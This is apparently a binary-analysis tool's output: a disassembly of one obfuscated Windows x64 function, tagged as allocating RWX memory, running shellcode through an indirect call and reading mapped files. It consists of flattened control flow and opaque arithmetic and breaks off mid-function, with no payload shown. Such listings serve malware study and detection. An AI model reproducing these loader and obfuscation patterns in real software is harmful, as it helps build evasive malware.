Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x198
mov rax, qword [0x1400c5008]
xor rax, rsp
mov qword [rsp + 0x190], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x110], rax
lea rax, [rsp + 0xf8]
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0x118]
mov rax, qword [rsp + 0x118]
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], 0
lea rcx, [0x14006c2d0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x120], rax
movabs rax, 0xec34671698e00a42
movabs r8, 0x6245a8626b624389
add r8, rax
movabs rax, 0x20a51418707d053e
movabs rcx, 0xbb297f229dd89f85
add rcx, rax
movabs rax, 0x82b185665d2110f1
sub rcx, rax
movabs rdx, 0x29562b5eb93a6329
sub rcx, rdx
movabs rbp, 0x4ff6378b21547548
add rbp, rcx
add rbp, rdx
add rbp, rax
movabs rax, 0x1448c53d9db9cb98
sub rbp, rax
movabs rcx, 0xd0042dadedb63d0e
add rcx, rbp
add rcx, rax
mov qword [rsp + 0xe0], rcx
movabs r9, 0xdd2bc7bc37a415bd
movabs rax, 0xe6ed359b4aae478d
add rax, r9
sub r9, rax
movabs rax, 0x44d7952ae4fbd27e
sub r9, rax
movabs rdx, 0x6c819e9be526766c
movabs rax, 0x75f50f68f1ed02fd
movabs rcx, 0x4afe975f20e066ea
sub rcx, rax
sub rcx, rdx
movabs rdx, 0xf0f687abe84eaa31
add rcx, rdx
add rcx, rax
sub rcx, rdx
movabs rax, 0x620fb77dbadd4e86
add rcx, rax
sub rax, rcx
movabs rcx, 0x46048a7b76c7af47
sub rax, rcx
movabs rdx, 0x1889ffbbcf0428f
sub rax, rdx
movabs rdx, 0x4c87375addd0a979
add rdx, rax
add rdx, rcx
mov qword [rsp + 0xd0], rdx
movabs rax, 0x436dc77305b78a10
movabs rsi, 0xca14ee1dd81c900f
add rsi, rax
movabs rax, 0x7c79940c5aa3b189
add rsi, rax
movabs rcx, 0xc773f623cfa75d0b
sub rsi, rcx
sub rsi, rax
movabs rbx, 0xd3c929422511ef5f
movabs rax, 0x98eb43835617cbcf
add rax, rbx
movabs rcx, 0x7ef72e373de54958
add rcx, rax
sub rbx, rcx
movabs rax, 0x367bfc7069cd2e08
movabs rcx, 0x58da3e601df76d8e
add rcx, rax
mov qword [rsp + 0xb8], rcx
movabs rbp, 0xae587595084820e8
movabs rax, 0x95ad29bf3b0b9474
movabs rcx, 0xf5b1f289e3d4a06e
add rcx, rax
movabs rax, 0x56857cac26e0d552
add rcx, rax
movabs rdx, 0xfa82cdf0ca7e679b
add rcx, rdx
sub rcx, rbp
sub rcx, rdx
movabs rdx, 0xd33090135a7d0ebe
sub rcx, rdx
sub rcx, rax
add rcx, rdx
movabs rax, 0x510189efad556838
sub rcx, rax
movabs rdx, 0x2045fa04a1c3c32a
sub rcx, rdx
add rcx, rax
movabs rax, 0xbae5284a9e3b2eff
add rcx, rax
movabs rbp, 0x8b5f1c491ee034e2
sub rbp, rcx
add rbp, rax
sub rbp, rdx
movabs rax, 0x12e35989a01404f1
add rbp, rax
movabs rcx, 0x27b629bfa72f5fb5
sub rbp, rcx
sub rbp, rax
add rbp, rcx
movabs rax, 0x20d6c14ee950f81e
mov rcx, rax
sub rcx, rbp
sub rcx, rax
mov qword [rsp + 0xb0], rcx
movabs rax, 0xa8a3406a851d8a5f
movabs rbp, 0xa461661acc012460
add rbp, rax
movabs rcx, 0x7e01660c919dc7fa
movabs rax, 0x74bf3fde1b6a2d18
sub rcx, rax
mov qword [rsp + 0xa0], rcx
movabs rax, 0x8143d23661801fcc
movabs rdi, 0xa41a622a0b175398
add rdi, rax
movabs rax, 0x6a80ebbfcf305b77
movabs rcx, 0x66dfb1db75804ca5
add rcx, rax
movabs rax, 0x774734e9a7281875
add rax, rcx
movabs rcx, 0xe01371db80664994
sub rax, rcx
movabs rdx, 0x3a521b54aa81261d
sub rax, rdx
add rax, rcx
movabs rcx, 0xb7582d7b14273f57
add rcx, rax
add rcx, rdx
mov qword [rsp + 0x70], rcx
movabs rax, 0xd7013fcb66b607a3
movabs rcx, 0xa2c21f7019a7e20a
sub rcx, rax
movabs rax, 0x399382536013b156
sub rcx, rax
movabs rax, 0xa79df96bc8ff060f
sub r8, rax
mov qword [rsp + 0xe8], r8
movabs rax, 0x47e26d02dcf1338f
movabs rdx, 0xa5c03d3b83208bc
add rdx, rax
mov qword [rsp + 0x98], rdx
movabs rax, 0xedb6b39fc92fe5a
add r9, rax
mov qword [rsp + 0xd8], r9
movabs rax, 0xf9888b096dd627c5
add rsi, rax
mov qword [rsp + 0xc8], rsi
movabs rax, 0x8779da1476c8a853
movabs rdx, 0x4522cf49e714397e
add rdx, rax
mov qword [rsp + 0x90], rdx
movabs rax, 0x451cf3b7083b4fab
sub rbx, rax
mov qword [rsp + 0xc0], rbx
movabs rax, 0x8379ea0224fab6be
movabs rdx, 0x914c4fb00eb62cee
add rdx, rax
mov qword [rsp + 0x88], rdx
movabs rax, 0x3a68db95252e7921
sub rbp, rax
mov qword [rsp + 0xa8], rbp
movabs rax, 0x608b24fe5c6a9180
movabs rdx, 0xf34255a29993d275
add rdx, rax
movabs rax, 0xf6a565c279ac4d93
add rdx, rax
mov qword [rsp + 0x80], rdx
movabs rax, 0xd61f8be98cc9252f
sub rdi, rax
mov qword [rsp + 0x78], rdi
movabs rax, 0xafb87d047a690cce
sub rcx, rax
mov qword [rsp + 0x68], rcx
movabs rax, 0x1e3deadf033af7af
movabs rcx, 0xc4c4ba01751fd7ba
add rcx, rax
mov qword [rsp + 0x60], rcx
mov ecx, 0xbcbbd196
mov dword [rsp + 0x54], eax
nop
cmp ecx, 0xdb67d41
jg 0x1400015a0
cmp ecx, 0xc9487b49
jle 0x140001540
cmp ecx, 0xe9b80799
jg 0x1400026fa
cmp ecx, 0xdc267f80
jle 0x14000b50f
cmp ecx, 0xdc267f81
je 0x14000d66a
cmp ecx, 0xe3f24948
je 0x14000f1fc
cmp ecx, 0xe9096f9e
jne 0x1400014e0
jmp 0x140022840
cmp ecx, 0xa89dd2a3
jle 0x14000735e
cmp ecx, 0xb12f7c08
jle 0x14000b548
cmp ecx, 0xb12f7c09
je 0x140010256
cmp ecx, 0xbcbbd196
je 0x14001029e
cmp ecx, 0xc32c7d3d
jne 0x1400014e0
lea rcx, str.____Invalid_Ntdll_module_handle
call fcn.140022890
mov ecx, 0x4fb7e53d
cmp ecx, 0xdb67d41
jle 0x1400014ec
nop dword [rax]
cmp ecx, 0x34ab5bac
jg 0x140002660
cmp ecx, 0x1e050ea8
jg 0x140002741
cmp ecx, 0xecb62c8
jle 0x1400096e9
cmp ecx, 0xecb62c9
je 0x1400102b6
cmp ecx, 0x111cc673
je 0x1400102cc
cmp ecx, 0x139c2f6b
jne 0x1400014e0
movzx eax, word [rsp + 0x18a]
mov rcx, qword [rsp + 0x160]
add rcx, 4
mov qword [rsp + 0x168], rcx
mov rcx, qword [rsp + 0x168]
cmp ax, word [rcx + 2]
setb byte [rsp + 0x177]
mov eax, dword [0x1400c5670]
lea r11d, [rax - 1]
imul r11d, eax
mov edx, r11d
not edx
mov eax, r11d
or eax, 0xf66b7b9c
mov ecx, eax
not ecx
mov ebp, edx
mov ebx, edx
or ebp, 0x9948463
mov edx, ebp
not edx
and eax, 0xf01f5094
and ecx, 0x9808463
or ecx, eax
and ebp, 0xf01f5094
and edx, 0x6602b08
or edx, ebp
xor edx, ecx
mov eax, edx
not eax
and eax, 0xf66b7b9c
and edx, 0x9948463
or edx, eax
mov eax, edx
not eax
and eax, 0x6eb6456e
and edx, 0x9149ba91
or edx, eax
mov eax, edx
xor eax, 0x90489a01
xor edx, 0x14044e
and edx, 0x11524de
and eax, 0xfeeadb21
or eax, edx
mov ecx, eax
xor ecx, 0xfeeadb21
mov ebp, ebx
and ebp, 0x65991d47
mov edx, r11d
and edx, 0x9a66e2b8
or edx, ebp
mov ebp, edx
xor ebp, 0x9a66e2b8
xor edx, 0x65991d47
or edx, ebp
mov ebp, edx
not ebp
xor eax, 0x11524de
and ebp, eax
or eax, edx
not eax
and edx, ecx
or edx, ebp
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x7f9ca683
and eax, edx
and edx, 0x8063597c
or edx, ecx
xor edx, 0x8063597c
mov ecx, edx
and ecx, eax
xor edx, eax
or edx, ecx
mov eax, edx
not eax
mov r13d, edx
xor r13d, 0x538234ef
and eax, r13d
and r13d, edx
mov ecx, eax
and ecx, r13d
xor r13d, eax
or r13d, ecx
mov eax, r13d
and eax, 0x5b4ce38b
not r13d
and r13d, 0xa4b31c74
or r13d, eax
mov eax, r13d
not eax
and eax, 0xc74a2f31
and r13d, 0x38b5d0ce
or r13d, eax
mov eax, r13d
xor eax, 0x884d044
and eax, 0x8ced764
xor r13d, 0x307b07aa
or r13d, eax
mov eax, r13d
not eax
and eax, 0x3cb82717
and r13d, 0xc347d8e8
or r13d, eax
mov esi, r13d
xor esi, 0xc347d8e8
mov dword [rsp + 0x48], ebx
mov eax, ebx
and eax, 0xb0212818
mov edx, r11d
and edx, 0x47100083
or edx, eax
xor edx, 0x47100083
mov ecx, r11d
xor ecx, 0xf731289b
and ecx, r11d
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
mov edx, ebx
and edx, 0x6ec05008
mov ebp, r11d
and ebp, 0x913faff7
or ebp, edx
mov edx, ebp
xor edx, 0x80142285
xor ebp, 0x6ec05008
mov ebx, ecx
and ebx, 0x7f6b9d72
and eax, 0x8094628d
or eax, ebx
or ecx, ebp
and ebp, 0x7f6b9d72
and edx, 0x8094628d
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov r15d, ecx
not r15d
mov edi, r13d
xor edi, 0x3cb82717
mov eax, ecx
and eax, 0x8cae0685
mov edx, r15d
and edx, 0x7351f97a
or edx, eax
mov r14d, edx
xor r14d, 0x21013852
xor edx, 0xc220085
and edx, 0x5e72c1ad
and r14d, 0xa18d3e52
or r14d, edx
mov r12d, r14d
xor r12d, 0x5e72c1ad
mov r10d, edi
xor r13d, 0x393e9562
and r13d, edi
and edi, 0x77f30f17
mov eax, esi
mov dword [rsp + 0x3c], esi
mov ebp, esi
mov edx, esi
and eax, 0x880cf0e8
or eax, edi
xor eax, 0x9383b031
and ebp, 0xe470bf26
or ebp, eax
mov eax, ebp
not eax
and eax, 0xb7aead1d
and ebp, 0x485152e2
or ebp, eax
mov ebx, ebp
xor ebx, 0x485152e2
and r10d, 0x2549869e
and edx, 0xdab67961
or edx, r10d
mov eax, edx
xor eax, 0x1a864041
and eax, 0x1b8f40d9
xor edx, 0xc13939b8
or edx, eax
mov esi, edx
not esi
mov edi, r14d
xor edi, 0xa18d3e52
mov r10d, edi
and r10d, 0xe470bf26
mov eax, r12d
and eax, 0x1b8f40d9
or eax, r10d
and ecx, 0x5973c4bf
and r15d, 0xa68c3b40
or r15d, ecx
mov ecx, r15d
xor ecx, 0xa68c3b40
xor r15d, 0x416344b6
and r15d, 0xe36354b6
mov r10d, ecx
and r10d, 0x1c9cab49
or r10d, r15d
xor r10d, 0xf8ec146f
and ecx, 0x1b8f40d9
or ecx, r10d
and edx, 0x22883160
mov r10d, esi
and r10d, 0xdd77ce9f
or r10d, edx
mov edx, r10d
xor edx, 0xdd77ce9f
mov r15d, edx
and r15d, 0x3fa2db0
and esi, 0xfc05d24f
or esi, r15d
mov r15d, ebp
xor r15d, 0xb7aead1d
mov r8d, r15d
and r8d, 0x3fa2db0
xor ebp, 0x4bab7f52
and ebp, ebx
mov r9d, r8d
and r9d, ebp
xor ebp, r8d
or ebp, r9d
mov r8d, ebp
not r8d
and r8d, 0x61723a78
and ebp, 0x9e8dc587
or ebp, r8d
mov r8d, esi
not r8d
and r8d, 0x61723a78
and esi, 0x9e8dc587
or esi, r8d
xor esi, ebp
mov ebp, ebx
and ebp, 0x542008d9
and r15d, 0xabdff726
or r15d, ebp
xor r10d, 0x22883160
or ebx, r10d
and r10d, 0x542008d9
and edx, 0xabdff726
or edx, r10d
xor edx, r15d
not eax
or eax, edi
not ebx
or ebx, edx
not ebx
mov edx, esi
and edx, ebx
xor ebx, esi
mov ebp, eax
not ebp
or ebx, edx
mov edx, ecx
not edx
and edx, eax
or eax, ecx
and ecx, ebp
mov ebp, eax
not ebp
or ecx, edx
mov edx, eax
and edx, 0x3623f876
and ebp, 0xc9dc0789
or ebp, edx
mov edx, ecx
not edx
or eax, edx
and edx, 0x3623f876
and ecx, 0xc9dc0789
or ecx, edx
xor ecx, ebp
not eax
or eax, ecx
not eax
mov esi, eax
or esi, ebx
mov ecx, esi
not ecx
xor eax, ebx
not eax
and eax, ebx
mov edx, esi
and edx, 0x23e3a14e
and ecx, 0xdc1c5eb1
or ecx, edx
mov edx, eax
not edx
or esi, edx
and edx, 0x23e3a14e
and eax, 0xdc1c5eb1
or eax, edx
xor eax, ecx
mov edx, dword [rsp + 0x3c]
mov ecx, edx
xor r14d, 0x5bf473d8
and r14d, edi
and ecx, edi
xor edi, edx
not esi
or esi, eax
and edx, 0x586b275
mov eax, edx
and eax, r13d
xor r13d, edx
and r12d, 0xfa794d8a
or r13d, eax
mov eax, r14d
and eax, r12d
xor r12d, r14d
or r12d, eax
mov eax, r13d
not eax
and eax, 0x7d5e9807
and r13d, 0x82a167f8
or r13d, eax
mov eax, r12d
not eax
and eax, 0x7d5e9807
and r12d, 0x82a167f8
or r12d, eax
xor r12d, r13d
or edi, ecx
mov eax, edi
not eax
and eax, 0x96986253
and edi, 0x69679dac
or edi, eax
mov eax, r12d
not eax
mov ecx, eax
and ecx, 0xea304c2b
and r12d, 0x15cfb3d4
or r12d, ecx
mov ecx, edi
xor ecx, 0x1479184
xor edi, 0x96986253
or eax, edi
and edi, 0xea304c2b
and ecx, 0x15cfb3d4
or ecx, edi
xor ecx, r12d
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x3a999b81
and ecx, eax
and eax, 0xc566647e
or eax, edx
mov edx, eax
xor edx, 0x41620034
xor eax, 0x3a999b81
mov ebp, eax
and ebp, 0x9e047eca
and edx, 0x61fb8135
or edx, ebp
mov ebp, ecx
not ebp
or eax, ebp
and ebp, 0x9e047eca
and ecx, 0x61fb8135
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x408e358b
and eax, 0xbf71ca74
or eax, edx
xor eax, 0xbf71ca74
or eax, ecx
mov r8d, eax
not r8d
mov ecx, esi
not ecx
mov ebp, ecx
or ebp, eax
not ebp
and ecx, 0x8f61e458
and esi, 0x709e1ba7
or esi, ecx
and eax, 0x8f61e458
and r8d, 0x709e1ba7
or r8d, eax
xor r8d, esi
mov eax, ebp
and eax, r8d
xor r8d, ebp
or r8d, eax
mov ebp, r8d
not ebp
mov eax, r8d
mov ebx, ebp
mov ecx, ebp
and ecx, 0xe9aed519
and r8d, 0x16512ae6
or r8d, ecx
xor r8d, 0x1e9ffd83
or r8d, ebp
or ebp, 0x4a4540a1
mov ecx, ebp
not ecx
or eax, 0x10229512
and eax, 0x1823d512
and ebx, 0x424400a1
or ebx, eax
and ebp, 0x1823d512
and ecx, 0xa5982a4c
or ecx, ebp
xor ecx, ebx
mov eax, ecx
not eax
and eax, 0x5bc1244
and ecx, 0xfa43edbb
or ecx, eax
mov eax, ecx
xor eax, 0x42918
xor ecx, 0x41d000a1
and ecx, 0xf1d284a3
and eax, 0xe2d7b5c
or eax, ecx
mov ecx, eax
xor ecx, 0xe2d7b5c
xor eax, 0x80808083
and eax, 0x8881f3cb
mov ebp, ecx
and ebp, 0x777e0c34
or ebp, eax
xor ebp, 0x7fb0db51
and ecx, 0xf731289a
or ecx, ebp
mov eax, ecx
not eax
and eax, 0x302ca1f6
and ecx, 0xcfd35e09
or ecx, eax
mov ebp, ecx
xor ebp, 0xcfd35e09
mov edx, r8d
not edx
mov eax, ebp
xor eax, r8d
and eax, ebp
xor ecx, 0x302ca1f6
and ecx, edx
and r8d, ebp
or r8d, ecx
mov ecx, eax
and ecx, r8d
xor r8d, eax
or r8d, ecx
mov edx, dword [rsp + 0x48]
mov eax, edx
and eax, 0xbd680498
mov ecx, r11d
and ecx, 0x4297fb67
or ecx, eax
xor ecx, 0x4297fb67
mov eax, edx
mov ebp, edx
and eax, r11d
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xa2390472
and eax, 0x5dc6fb8d
or eax, ecx
mov edx, eax
xor edx, 0x5dc6fb8d
xor eax, 0x22000072
and ebp, 0x8f4c9df7
and r11d, 0x70b36208
or r11d, ebp
mov ecx, r11d
xor ecx, 0x70b36208
xor r11d, 0x8f4c9df7
or r11d, ecx
mov ecx, r11d
not ecx
mov esi, edx
or esi, r11d
mov ebp, esi
not ebp
and edx, 0xc97bc409
and eax, 0x36843bf6
or eax, edx
and r11d, 0xc97bc409
and ecx, 0x36843bf6
or ecx, r11d
xor ecx, eax
mov eax, ecx
not eax
mov edx, esi
and edx, 0xf700094b
and ebp, 0x8fff6b4
or ebp, edx
or esi, eax
and eax, 0xf700094b
and ecx, 0x8fff6b4
or ecx, eax
xor ecx, ebp
not esi
or esi, ecx
mov r9d, r8d
not r9d
mov ecx, r9d
and ecx, r8d
mov edx, ecx
not edx
mov ebp, r8d
and ebp, 0x8d882061
mov eax, r9d
and eax, 0x7277df9e
or eax, ebp
mov ebp, r8d
or ebp, edx
and edx, 0x8d882061
and ecx, 0x7277df9e
or ecx, edx
xor ecx, eax
not ebp
or ebp, ecx
mov ecx, esi
not ecx
mov eax, ecx
and eax, 0xf5f45c89
mov edx, esi
and edx, 0xa0ba376
or edx, eax
mov ebx, ebp
not ebx
and ebp, 0xf5f45c89
and ebx, 0xa0ba376
or ebx, ebp
xor ebx, edx
not ebx
or ebx, ecx
mov edi, ebx
not edi
and esi, 0x36578658
and ecx, 0xc9a879a7
or ecx, esi
mov eax, ecx
xor eax, 0x20400410
xor ecx, 0x89206122
and ecx, 0x9f37e36a
and eax, 0x60c81c95
or eax, ecx
mov ecx, eax
xor ecx, 0x60c81c95
and ecx, r9d
xor eax, 0x9f37e36a
and eax, r8d
or eax, ecx
mov ecx, eax
xor ecx, r9d
and ecx, eax
mov eax, ecx
not eax
mov edx, ebx
or edx, eax
not edx
and ebx, 0xfc22a591
and edi, 0x3dd5a6e
or edi, ebx
and eax, 0xfc22a591
and ecx, 0x3dd5a6e
or ecx, eax
xor ecx, edi
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
xor eax, 0x24db22c
and eax, ecx
or ecx, 0xfdb24dd3
mov edx, ecx
not edx
mov ebp, eax
not ebp
mov ebx, ecx
and ebx, 0x8a9ca04d
and edx, 0x411220
or edx, ebx
or ecx, ebp
and ebp, 0x8a9ca04d
and eax, 0x75635fb2
or eax, ebp
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xfdb24dd3
and ecx, 0x24db22c
or ecx, eax
mov edi, ecx
not edi
mov eax, edi
and eax, 0x4ca2b5df
and ecx, 0xb35d4a20
or ecx, eax
mov ebp, ecx
xor ebp, 0xb35d4a20
xor ecx, 0x69781ee7
and ecx, ebp
or edi, 0x25daab38
mov ebx, ecx
not ebx
mov eax, ebx
and eax, 0x1f15ef6
and ecx, 0xfe0ea109
or ecx, eax
mov esi, edi
not esi
or ebx, edi
and edi, 0x1f15ef6
and esi, 0xda040001
or esi, edi
mov edx, ebp
and edx, r8d
xor ebp, r8d
xor r8d, 0xda2554c7
and r8d, r9d
or r9d, 0xda2554c7
xor esi, ecx
mov eax, r9d
not eax
not ebx
or ebx, esi
mov ecx, r9d
and ecx, 0x318c270d
and eax, 0x4528830
or eax, ecx
mov ecx, r8d
not ecx
or r9d, ecx
and ecx, 0x318c270d
and r8d, 0xce73d8f2
or r8d, ecx
xor r8d, eax
mov eax, dword [0x1400c566c]
not r9d
or r9d, r8d
mov ecx, ebx
not ecx
and ecx, r9d
not r9d
and r9d, ebx
or r9d, ecx
or ebp, edx
mov ecx, ebp
not ecx
mov edx, r9d
not edx
mov ebx, edx
and ebx, 0x81ec2b15
and r9d, 0x7e13d4ea
or r9d, ebx
or edx, ebp
and ebp, 0x81ec2b15
and ecx, 0x7e13d4ea
or ecx, ebp
xor ecx, r9d
not edx
or edx, ecx
mov ecx, edx
not ecx
mov ebx, ecx
or ebx, 0x5b8c8534
mov ebp, ebx
not ebp
or edx, 0x4537289
and edx, 0xfdb77ad
and ecx, 0x50048010
or ecx, edx
and ebx, 0xfdb77ad
and ebp, 0xa0200842
or ebp, ebx
xor ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x40c5ea41
and ebp, 0xbf3a15be
or ebp, ecx
xor ebp, 0xe4b6908a
sete r10b
setne bl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg r9b
mov eax, r9d
or al, bl
xor al, 1
mov edx, r10d
xor dl, r8b
or al, dl
mov r11d, eax
not r11b
mov ecx, edx
xor cl, 1
and dl, al
or al, cl
xor al, 1
and cl, r11b
or cl, dl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov esi, eax
and sil, cl
mov edx, eax
xor dl, sil
xor sil, 1
or sil, cl
xor sil, 1
or sil, dl
mov edx, esi
xor dl, 1
or al, cl
and sil, dl
mov ecx, edx
and cl, sil
xor sil, dl
or sil, cl
xor sil, al
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, sil
xor sil, 1
xor cl, 1
or sil, al
xor sil, 1
or sil, cl
mov eax, esi
xor al, 1
or sil, al
xor sil, 1
or sil, al
mov r14d, esi
xor r14b, 1
mov eax, r8d
and al, r10b
mov r11d, ebx
and r11b, r9b
or r11b, al
or r10b, r9b
mov eax, r10d
xor al, 1
or bl, r8b
xor bl, 1
mov ecx, ebx
and cl, al
xor bl, al
xor al, r11b
xor r11b, 1
or r11b, r10b
xor r11b, 1
or r11b, al
mov r10d, r11d
xor r10b, 1
or bl, cl
mov edx, ebx
xor dl, 1
and r9b, dl
and bl, r8b
or bl, r9b
xor dl, bl
and dl, bl
mov r8d, edx
xor r8b, 1
mov ecx, r11d
or cl, r10b
mov edi, ecx
xor dil, 1
mov r9d, r8d
or r9b, dl
mov ebx, r9d
xor bl, 1
and dil, r11b
mov eax, ecx
and al, r10b
or al, dil
mov edi, ecx
and dil, r11b
xor cl, r11b
or cl, dil
mov edi, ecx
xor dil, al
xor al, 1
xor dil, 1
or al, cl
xor al, 1
or al, dil
mov ecx, r9d
and cl, bl
mov edi, r9d
and dil, cl
xor cl, r9b
or cl, dil
xor cl, r8b
xor cl, 1
xor r9b, r8b
or bl, dl
xor bl, 1
or bl, r9b
mov r9d, ecx
xor r9b, bl
or bl, cl
xor bl, 1
or bl, r9b
xor bl, al
xor bl, 1
and r8b, r10b
or r10b, dl
and dl, r11b
or dl, r8b
xor dl, 1
mov eax, r10d
xor al, dl
or dl, r10b
xor dl, 1
or dl, al
mov ecx, edx
xor cl, 1
mov eax, ecx
and al, dl
xor cl, al
xor al, 1
or al, dl
xor al, 1
or al, cl
xor al, 1
mov ecx, ebx
or cl, al
xor cl, 1
xor al, bl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov edi, esi
and dil, r14b
mov r9d, edi
xor r9b, 1
mov ecx, r9d
or cl, sil
xor cl, 1
xor r9b, sil
mov ebx, ecx
and bl, r9b
xor r9b, cl
or r9b, bl
mov r8d, r9d
xor r8b, 1
mov r10d, eax
xor r10b, 1
mov ecx, r10d
or cl, al
mov edx, ecx
xor dl, 1
mov ebx, edx
and bl, cl
mov r11d, ebx
xor r11b, 1
xor bl, dl
or r11b, cl
xor r11b, 1
or r11b, bl
xor r11b, r10b
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov edx, ecx
xor dl, r11b
xor r11b, 1
xor dl, 1
or r11b, cl
xor r11b, 1
or r11b, dl
mov ecx, esi
and cl, dil
xor dil, sil
or dil, cl
xor dil, 1
xor r14b, dil
xor r14b, 1
or r14b, dil
mov esi, r14d
xor sil, 1
and al, r10b
mov ecx, r10d
and cl, al
xor al, r10b
or al, cl
mov ecx, eax
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov r15d, ecx
xor r15b, 1
and r15b, cl
xor r15b, 1
mov edx, ecx
xor dl, r15b
or r15b, cl
xor r15b, 1
or r15b, dl
mov ebp, r9d
and bpl, r8b
xor bpl, 1
mov ecx, r8d
xor cl, bpl
or bpl, r8b
xor bpl, 1
or bpl, cl
mov edi, ebp
xor dil, 1
mov ecx, edi
or cl, bpl
xor cl, 1
mov edx, r8d
xor dl, r9b
and dl, r8b
mov r10d, esi
or r10b, r14b
mov ebx, esi
xor bl, r14b
and bl, sil
xor dl, cl
xor dl, 1
and cl, dl
xor cl, 1
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
mov eax, ebx
xor al, 1
and al, bl
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor al, 1
and al, r10b
xor r10b, 1
and dl, r10b
or al, dl
mov edx, r10d
xor dl, bl
or bl, r10b
mov r10d, r11d
xor r10b, 1
xor bl, 1
or bl, dl
xor bl, 1
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov edx, ebx
xor dl, cl
and bl, dl
and dl, cl
mov eax, ebx
xor al, 1
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
mov ebx, r14d
and bl, sil
mov eax, ebx
and al, r14b
xor bl, r14b
or bl, al
mov eax, ebx
and al, dil
xor bl, 1
and bl, bpl
or bl, al
xor sil, dil
or r14b, bpl
xor r14b, 1
or r14b, sil
xor bl, 1
mov eax, ebx
xor al, r14b
or bl, r14b
xor bl, 1
or bl, al
mov r14d, edx
xor r14b, 1
mov ecx, r14d
and cl, dl
mov esi, r14d
xor sil, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, sil
mov eax, ecx
xor al, 1
and al, bl
xor r14b, bl
xor bl, 1
and cl, bl
or cl, al
or bl, dl
xor bl, 1
or bl, r14b
xor cl, 1
mov eax, ecx
xor al, bl
or cl, bl
xor cl, 1
or cl, al
mov eax, r10d
xor al, r15b
mov edx, eax
xor dl, r10b
and dl, al
xor al, 1
and al, r15b
or r15b, r10b
mov ebx, r15d
xor bl, al
xor al, 1
xor bl, 1
or al, r15b
xor al, 1
or al, bl
xor al, dl
xor al, 1
and dl, al
xor dl, 1
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov esi, ecx
xor sil, 1
mov r14d, ecx
or r14b, sil
mov eax, r14d
xor al, 1
mov ebx, r14d
and bl, al
xor bl, 1
mov r15d, eax
xor r15b, bl
or bl, al
xor bl, 1
or bl, r15b
mov r15d, ebx
and r15b, sil
xor bl, 1
and bl, cl
or bl, r15b
xor r14b, cl
or al, sil
mov esi, edx
xor sil, 1
or dl, sil
xor dl, 1
xor al, 1
or al, r14b
mov ecx, eax
xor cl, bl
xor bl, 1
xor cl, 1
or bl, al
xor bl, 1
or bl, cl
mov eax, esi
xor al, dl
mov ecx, eax
xor cl, 1
or dl, sil
xor dl, 1
or dl, al
xor al, dl
xor al, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, ebx
xor al, 1
and bl, al
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, ebx
and bl, dl
xor dl, 1
xor al, 1
and al, dl
or bl, al
mov ecx, ebp
xor cl, dil
and cl, bpl
or r8b, r9b
mov r9d, ecx
xor r9b, 1
mov r14d, ecx
and r14b, r9b
xor r9b, r8b
xor r8b, 1
mov esi, r10d
xor sil, r11b
and sil, r10b
mov eax, r14d
and al, cl
xor r14b, cl
or r14b, al
xor r14b, r8b
or r8b, cl
and bpl, dil
xor bpl, 1
mov r15d, ebp
xor r15b, dil
or bpl, dil
mov ecx, edi
and cl, r11b
xor dil, r11b
or r11b, r10b
xor r14b, 1
xor r8b, 1
or r8b, r9b
mov edx, r14d
xor dl, r8b
or r8b, r14b
mov eax, r11d
xor al, 1
xor r8b, 1
or r8b, dl
mov edx, esi
xor dl, 1
and al, dl
or dl, r11b
and r11b, sil
xor dl, 1
or r11b, al
mov eax, edx
and al, r11b
xor r11b, dl
or r11b, al
mov eax, r11d
xor al, 1
and r11b, al
mov edx, eax
and dl, r11b
xor r11b, al
or r11b, dl
mov eax, r11d
and al, r8b
xor r8b, 1
xor r11b, 1
and r11b, r8b
or r11b, al
xor bpl, 1
or bpl, r15b
xor bpl, r10b
or dil, cl
xor dil, 1
mov eax, ebp
and al, dil
xor dil, bpl
or dil, al
mov eax, edi
xor al, 1
and dil, al
mov ecx, eax
and cl, dil
xor dil, al
or dil, cl
mov eax, r11d
xor al, 1
and al, dil
xor dil, 1
mov ecx, r11d
xor cl, dil
and cl, r11b
and dil, r11b
or dil, al
mov eax, ecx
and al, dil
xor dil, cl
or dil, al
mov ecx, edi
xor cl, 1
mov eax, ecx
and al, dil
xor al, 1
mov edx, edi
xor dl, al
or al, dil
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
or dl, al
xor dl, 1
xor cl, dl
and dl, cl
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov r11d, ecx
xor r11b, 1
mov edx, r11d
and dl, cl
mov r8d, r11d
and r8b, dl
